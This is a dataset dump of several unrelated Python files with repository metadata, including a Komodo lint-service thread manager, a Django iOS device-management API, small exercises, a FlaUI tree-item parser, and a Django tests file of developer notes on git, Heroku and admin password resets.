0: if not linters.get('generated', False): log.error("No terminal linters for lang %s", languageName) return None # Create a generic aggregator for this language. linters['aggregator'] = (self.GENERIC_LINTER_AGGREGATOR_CID + ":" + languageName) return linters['aggregator'] return linters['terminals'][0] def getLinterForLanguage(self, languageName): """Return a koILinter XPCOM component of the given linterCID. This method cache's linter instances. If there is no such linter then an exception is raised. Note that aggregators are favored over terminal linters. """ linterCID = self._getLinterCIDByLanguageName(languageName) if linterCID is None: return None return self._getLinterByCID(linterCID) def _getLinterByCID(self, linterCID): if linterCID not in self._linterCache: try: if linterCID.startswith(self.GENERIC_LINTER_AGGREGATOR_CID): languageName = linterCID[len(self.GENERIC_LINTER_AGGREGATOR_CID) + 1:] linter = components.classes[self.GENERIC_LINTER_AGGREGATOR_CID].createInstance(components.interfaces.koILinter) UnwrapObject(linter).initialize(languageName, self) elif linterCID not in components.classes.keys(): linter = None else: linter = components.classes[linterCID].createInstance(components.interfaces.koILinter) except COMException, ex: errmsg = "Internal Error creating a linter with CID '%s': %s"\ % (linterCID, ex) raise ServerException(nsError.NS_ERROR_UNEXPECTED, errmsg) self._linterCache[linterCID] = linter return self._linterCache[linterCID] def addRequest(self, request): """Add the given request to the queue. If there is an error (e.g. bogus linterType) an exception is raised. """ log.info("KoLintService.addRequest(%s)", request.describe()) # Fill out the request (because document access and component # creation must often be done in the main thread). request.content = request.koDoc.buffer request.encoding = request.koDoc.encoding if request.linterType: request.linter = self.getLinterForLanguage(request.linterType) self.requests.put(request) def cancelPendingRequests(self, uid): log.info("KoLintService.cancelPendingRequests(uid='%s')", uid) self.requests.remove_uid(uid) # This does nothing to stop the reporting of results from a # possible _currently running_ lint request for this uid. # This is currently handled on the JavaScript side via the # koILintRequest.rid attribute. def _getEncodingLintResults(self, content, encoding): """Return lint results for encoding errors in the given document. "content" is the document content as a unicode string "encoding" is the currently selected encoding for the document Returns a koLintResults instance. """ try: encodedString = content.encode(encoding.python_encoding_name, "strict") except UnicodeError, ex: pass # errors are handled after the try/except/else block else: return koLintResults() # no encoding errors # Find the specific errors by encoding with "replace" and finding # where those replacements were. escapedContent = content.replace('?', 'X') encodedString = escapedContent.encode(encoding.python_encoding_name, "replace") offset = 0 indeces = [] while 1: index = encodedString.find('?', offset) if index == -1: break indeces.append(index) offset = index + 1 log.debug("encoding errors at indeces %s", indeces) results = koLintResults() lines = content.splitlines(1) # keep line terminators offset = 0 # the current offset in the document for i in range(len(lines)): line = lines[i] while indeces and indeces[0] < offset + len(line): index = indeces.pop(0) # this index is on this line r = KoLintResult() r.description = "This character cannot be represented with "\ "the current encoding: '%s'"\ % encoding.python_encoding_name r.lineStart = i+1 r.lineEnd = i+1 r.columnStart = index - offset + 1 r.columnEnd = r.columnStart + 1 log.debug("encoding error: index=%d: %d,%d-%d,%d", index, r.lineStart, r.columnStart, r.lineEnd, r.columnEnd) r.severity = r.SEV_ERROR results.addResult(r) if not indeces: break offset += len(line) else: raise ValueError("Did not find line and column for one or " "more indeces in content: %s" % indeces) return results def _addMixedEOLWarnings(self, results, content, expectedEOL): """Add lint results (at the WARNING level) for each line that has an unexpected EOL. "results" in a koILintResults to which to add mixed EOL results. "content" is the content to analyze "expectedEOL" is the currently configured EOL for the document, this must be on of the EOL_LF, EOL_CR, EOL_CRLF constants. """ import eollib mixedEOLs = eollib.getMixedEOLLineNumbers(content, expectedEOL) if not mixedEOLs: return def collapseContinuousLineNumbers(lineNos): """Return a collapsed group of continuous line numbers.""" results = [] start = -10 last = -10 for lineNo in lineNos: if lineNo == last+1: pass else: if start >= 0: results.append((start, last)) start = lineNo last = lineNo if start >= 0: results.append((start, last)) return results # Add a warning lint result for each such line. expectedEOLStr = eollib.eol2eolPref[expectedEOL] lines = content.splitlines(1) # For performance reasons, we collapse groups of continuous line # numbers into the one line result - bug 92733. for lineStart, lineEnd in collapseContinuousLineNumbers(mixedEOLs): r = KoLintResult() r.description = "This line does not end with the expected "\ "EOL: '%s' (select View | View EOL Markers)"\ % expectedEOLStr r.lineStart = lineStart+1 r.lineEnd = lineEnd+1 r.columnStart = 1 r.columnEnd = len(lines[lineEnd]) + 1 r.severity = r.SEV_WARNING results.addResult(r) # When a new panel is added for a language in # pref-syntax-checking.xul, we'll need to pull the generic marker # out of any documents that adopted it. We can either do it when # we open the doc (although we have to wait until we know its language), # but this way we only check when we're about to lint. # # Also, it's too bad that doc prefs aren't versioned. _no_longer_generic_languages = ["Python3", "HTML5"] def _passesGenericCheck(self, request): prefs = request.koDoc.prefs languageName = request.koDoc.language genericCheck = "genericLinter:" + languageName if not prefs.hasPref(genericCheck): return True if languageName in self._no_longer_generic_languages: prefs.deletePref(genericCheck) return True return prefs.getBooleanPref(genericCheck) def run(self): """Process lint requests serially until told to stop. Before the requested linter is run on a document it is first checked for encoding problems (i.e. encoding is not sufficient for current content). """ TIME_LINTS = False log.info("manager thread: start") while 1: try: # wait for next request request = self.requests.get() # quit if request is the quit sentinel if request is None: log.info("manager thread: quit sentinel") break # process the request if TIME_LINTS: startlint = time.clock() log.info("manager thread: process request: %r", request) try: # Look for encoding errors first. results = self._getEncodingLintResults(request.content, request.encoding) if TIME_LINTS: endencodinglint = time.clock() # If there were no encoding errors, try the # requested linter. if not results.getNumResults() and request.linter: #XXX This is where context-sensitive linting args should # be passed in, but linters don't support this yet. log.debug("manager thread: call linter.lint(request)") try: if self._passesGenericCheck(request): results = request.linter.lint(request) #results = UnwrapObject(request.linter).lint(request) # This makes a red statusbar icon go green, but it # might not be what we always want. # Needs more investigation. #if results is None: # results = koLintResults() except: log.exception("Unexpected error while linting") # This makes a red statusbar icon go green, but it # might not be what we always want. # Needs more investigation. #if results is None: # results = koLintResults() log.debug("manager thread: linter.lint(request) returned") if TIME_LINTS: endlintlint = time.clock() prefset = getProxiedEffectivePrefs(request) if prefset.getBooleanPref("lintEOLs"): # Also look for mixed-line endings warnings. self._addMixedEOLWarnings(results, request.content, request.koDoc.new_line_endings) if TIME_LINTS: endeollint = time.clock() print "lint of '%s': encoding=%.3fs lint=%.3fs eol=%.3fs"\ % (request.koDoc.baseName, endencodinglint-startlint, endlintlint-endencodinglint, endeollint-endlintlint) request.results = results except (ServerException, COMException), ex: request.errorString = str(ex) except: # Any exceptions that are not ServerException or # COMException are unexpected internal errors. try: err = "unexpected internal error checking '%s' with '%s' linter"\ % (request.koDoc.baseName, request.linterType) log.exception(err) request.errorString = err except: err = "Unexpected error in koLintService.run" log.error(err) request.errorString = err else: log.info("manager thread: lint results for uid %s: %r", request.uid, results) # Notify of request completion # Note: this is not guaranteed to properly guard the proxy # call because a context switch could happen in between the # condition check and body. That is ok though. At worst it # will raise an exception that will be trapped just below. # The point is to catch the common case. I am pretty sure # that there is no way to do this properly without going # to great lengths. if not self._shuttingDown: try: # Proxy this so the worker thread can report results on this iface. lintBufferProxy = getProxyForObject(1, components.interfaces.koILintBuffer, request.lintBuffer, PROXY_ALWAYS | PROXY_SYNC) lintBufferProxy.reportResults(request) except COMException, ex: # Ignore this error, which will happen if results # are reported after the buffer has gone away (i.e. # the file owning that buffer was closed): # Traceback (most recent call last): # File "...\koLintService.py", line 370, in run # request.lintBuffer.reportResults(request) # File "<XPCOMObject method 'reportResults'>", line 3, in reportResults # Exception: 0x80570021 () errno = ex.args[0] if errno == 0x80570021: pass else: raise except: # Something bad happened, but don't let this thread die. log.exception("unexpected error in the linting thread") log.info("manager thread: end") if __name__ == "__main__": logging.basicConfig() import pprint class TestRequest: def __init__(self, uid): self.uid = uid def __repr__(self): return "<TestRequest: uid=%s>" % self.uid q = RequestQueue() if 0: q.put(TestRequest("id_1")) q.remove_uid("id_1") print "item:" sys.stdout.flush() print q.get() if 1: q.put(TestRequest("id_1")) q.put(TestRequest("id_2")) pprint.pprint(q.queue) print "item: ", q.get() q.put(TestRequest("id_3")) q.put(TestRequest("id_4")) q.put(TestRequest("id_3")) q.prepend(None) pprint.pprint(q.queue) q.remove_uid("id_3") pprint.pprint(q.queue) q.remove_uid("id_3") sys.stdout.flush() pprint.pprint(q.queue) q.remove_uid("id_4") pprint.pprint(q.queue) print "item: ", q.get() print "item: ", q.get() pprint.pprint(q.queue)

[ "jpsutton@madisoncollege.edu" ]

jpsutton@madisoncollege.edu

aa80166792010844c80020d87de369afec96d42a

5eff9df4d276e83c68ce843d58868499858f701a

/Leetcode - FB/p0350.py

3780986eb5c2d856d4e29deeeacac48b9f10fdf7

[]

no_license

arunraman/Code-Katas

b6723deb00caed58f0c9a1cafdbe807e39e96961

7fe3582fa6acf59a2620fe73e1e14bd8635bbee8

refs/heads/master

2023-03-04T17:27:44.037145

2023-03-02T21:09:53

25,232,784

0

null

UTF-8

Python

false

456

py

class p0349(object): def intersectiontwoArrays(self, nums1, nums2): dict1 = dict() for i in nums1: if i not in dict1: dict1[i] = 1 else: dict1[i] += 1 ret = [] for i in nums2: if i in dict1 and dict1[i] > 0: ret.append(i) dict1[i] -= 1 return ret S = p0349() print S.intersectiontwoArrays([1, 2, 2, 1], [2, 2])

[ "arunraman.19@gmail.com" ]

arunraman.19@gmail.com

615af52a6dfc9a4109231f08258cb4464601be9f

daa513724c547b06fdd6b52764d217db09fe6204

/iosapp/views.py

33dd5ffa2576380fb01eecca0ead1d4a0919c2e2

[]

no_license

sunkeqiao/TMT-Server

4f95c75500f216f6694ce84eafab7b18b02eb772

e23b75a2f0cfc6960f788b3d0e6727614aea3c02

refs/heads/master

2020-09-01T10:26:50.834786

2019-06-19T16:14:31

null

0

null

UTF-8

Python

false

4,988

py

from django.http import Http404 from rest_framework import generics, mixins, views from rest_framework.response import Response from .models import * from django.conf import settings import json from channels.layers import get_channel_layer from asgiref.sync import async_to_sync from .serializers import * from .libimobiledevice import Libimobiledevice import threading, time lib_mobile = None def keep_connect_mac(): global lib_mobile if lib_mobile: return lib_mobile try: lib_mobile = Libimobiledevice() return lib_mobile except Exception as e: lib_mobile = None return False keep_connect_mac() class DeviceObject(views.APIView): """ 设备列表 """ def get(self, request): """ 设备列表 """ devices = iOSDevice.objects.filter(owner__in=('public', request.session['user'].get('username'))) serializer = iOSDeviceSerializer(devices, many=True) return Response({"status": True, "message": "成功", "data": serializer.data}) class DeviceScreenShotObject(views.APIView): """ 截屏操作 """ def post(self, request, uuid): """ 截屏操作 """ to = request.session['user'].get('username') if not keep_connect_mac(): return Response({"status": False, "message": "MAC服务器不在线", "data": ""}) # 执行截图与设备信息操作，并上传 response = lib_mobile.screenshot_device_info_then_upload(uuid, to) if not response.get('file_info'): return Response({"status": False, "message": "失败，请检查设备是否在线", "data": ""}) # 发送消息给人 channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)(to, { "device_info": deal_with_device_info(response.get('device_info')), "message": response.get('file_info'), "room": f"{to}_ios", "to": to, "type": "message" }) return Response({"status": True, "message": "成功", "data": ""}) class DeviceLogCatObject(views.APIView): """ 抓日志操作 """ def post(self, request, uuid): """ 抓日志操作 """ to = request.session['user'].get('username') action = request.data.get('action') if not keep_connect_mac(): return Response({"status": False, "message": "MAC服务器不在线", "data": ""}) if action == 'start': try: if lib_mobile.syslog_start(uuid): threading.Thread(target=self.delay_stop, args=(request, uuid,)).start() return Response({"status": True, "message": "成功", "data": ""}) else: return Response({"status": False, "message": "失败，请检查设备是否在线", "data": ""}) except Exception as e: return Response({"status": False, "message": str(e), "data": ""}) elif action == 'stop': # 执行结束抓日志与设备信息操作，并上传 response = lib_mobile.syslog_device_info_then_upload(uuid, to) if not response.get('file_info'): return Response({"status": False, "message": "失败，请检查设备是否在线", "data": ""}) # 发送消息给人 channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)(to, { "device_info": deal_with_device_info(response.get('device_info')), "message": response.get('file_info'), "room": f"{to}_ios", "to": to, "type": "message" }) return Response({"status": True, "message": "成功", "data": ""}) elif action == 'delay_stop': lib_mobile.syslog_stop(uuid) else: return Response({"status": False, "message": "action指令不正确", "data": ""}) def delay_stop(self, request, uuid): time.sleep(125) request.data['action'] = 'delay_stop' self.post(request, uuid) def deal_with_device_info(device_info): baseinfo = BaseDeviceInfo.objects.all() base_device_info = {} for info in baseinfo: base_device_info[info.model_id] = info return { "device_name": base_device_info.get(device_info.get('ProductType')).name, "system": f"iOS {device_info.get('ProductVersion')}", "screen": base_device_info.get(device_info.get('ProductType')).screen, "memory": f"总容量:{round(int(base_device_info.get(device_info.get('ProductType')).ram)/1024.0,2)}GB", "storage": f"总容量{round(int(device_info.get('TotalDataCapacity'))/1024.0/1024.0/1024.0,2)}GB,可使用{round(int(device_info.get('TotalDataAvailable'))/1024.0/1024.0/1024.0,2)}GB", "charge": f"{device_info.get('BatteryCurrentCapacity')}%", }

[ "445462004@qq.com" ]

445462004@qq.com

7085b43ca65f48b5500e2da986e2f06eda812634

b2eaa0024ba6c8c7986bf3e107deb7308e3658d0

/python/06_day/try_guess.py

494995380aa080787578df45b3f4f6c1e3b94487

[]

no_license

olitskevich/szkolenie

aabf9589b0d5114761e77a0a4934821e1ba051ac

0e8d752e9753f262edae58d61795544c34fb6563

refs/heads/master

2020-04-25T05:51:52.234718

2019-03-09T14:42:56

172,557,290

0

null

UTF-8

Python

false

741

py

import random random_number = random.randint(0,100) attempt = 0 max_attempt = 7 my_number = 555 try: while my_number != random_number: print("Your mumber: ") my_number = int(input()) attempt+=1 if my_number == random_number: print("Congratulation! You've guessed the number from the", attempt, "attemp") else: if my_number > random_number: print("Choose smaller number") else: print("Choose bigger number") if attempt >= max_attempt: print("Sorry! You have no more attempts, the correct number is", random_number) break except KeyboardInterrupt: print ("Thanks for participation")

[ "olgalickewicz@uber.com" ]

olgalickewicz@uber.com

d261d6ca537220689a62cbf436cb312e521bf1d7

7289ebef10cdb7b7cbd834d749f46ace65624941

/7- Introduction - Fonctions/fonction.py

3f23f0678e2dcbcd67977a84f4f4e3669d0d1298

[]

no_license

633-1-ALGO/introduction-python-FrankTheodoloz

14e7157371b707dcf26688818cdbeb4090526a8b

20aa27aa2bc8c562260e23c8cc30f3d0dcdc5a5c

refs/heads/master

2020-07-29T20:01:15.802637

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# Exemple de fonction def multiplication(n, m, p=1): # p a comme valeur par défaut 1 print(n * m) print(n * m * p) multiplication(3, 4) print() multiplication(3, 4, 2)

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from FlaUILibrary.flaui.exception import FlaUiError class TreeItemsParser: """ Helper class which handles the management of the given location string. The location is used to locate the exact tree item in the tree control. Examples: location = N:Nameofitem1->N:Nameofitem2->N:Nameofitem3 location = I:indexofitem1->I:indexofitem2->I:indexofitem3 location = N:Nameofitem1->I:indexofitem2->I:indexofitem3 """ def __init__(self, location): self.location = location.split("->") def get_treeitem(self, treeitems, index): """ This function gets the index of the location, the location can either be name or index, and returns the corresponding tree item to that name or index. if the given name or index is not found a flauierror will be thrown. """ loc = self.location[index] if loc.startswith("I:"): loc = loc[2:] try: return treeitems[int(loc)] except IndexError: raise FlaUiError(FlaUiError.ArrayOutOfBoundException.format(int(loc))) from None elif loc.startswith("N:"): loc = loc[2:] for item in treeitems: if item.Name == loc: return item raise FlaUiError(FlaUiError.ElementNameNotFound.format(loc)) else: raise FlaUiError(FlaUiError.FalseSyntax.format(loc)) from None def is_last_element(self, index): """Retruns true if the index corresponds the last element of given location series. """ if index==len(self.location)-1: return True return False

[ "andreas.sekulski@gmail.com" ]

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from django.test import TestCase # Create your tests here. #https://www.geeksforgeeks.org/textfield-django-models/ <<<<<<< HEAD #https://realpython.com/django-redirects/#passing-parameters-with-redirects ======= #https://www.w3schools.com/css/css_table.asp >>>>>>> homolog #pip3 install django-crispy-forms #Zerar senha do admin #python manage.py shell #from django.contrib.auth.models import User #User.objects.filter(is_superuser=True) #usr = User.objects.get(username='nome-do-administrador') #usr.set_password('nova-senha') #usr.save() '''Upload documents on Github git clone <nome> <entra na pasta criada> git add . git commit -m "texto" git push git pull ''' '''git checkout -b nome cria uma branch git checkout nome entra na branch git branch - verifica as branchs git checkout master - entra na master git merge origin "nome" git push origin master - subir commit git branch -D "nome"- deletar branch ''' #Heroku #https://github.com/Gpzim98/django-heroku #git add .gitignore #colocar no gitignore '''.idea .pyc .DS_Store *.sqlite3''' ''' Publishing the app git add . git commit -m "Configuring the app" git push heroku master --force ''' ''' def newTask(request): if request.method == 'POST': form = ResidencDimensForm(request.POST) if form.is_valid(): task = form.save(commit=False) task.total_va = (task.potencia_va * task.quant) task.corrente_a = (task.total_va / task.tensa_va) #queda = task.sessao_condutor #test = main.read_sql_queda(queda) #task.queda_tensao_ckt = ((((test['queda_tesao'] * task.corrente_a) * task.comprimento) / 1000) / task.total_va) task.save() return redirect('/') else: form = ResidencDimensForm() return render(request, 'cable/add-task.html', {'form': form}) ''' #urls ID #https://stackoverflow.com/questions/15608295/passing-an-id-in-django-url

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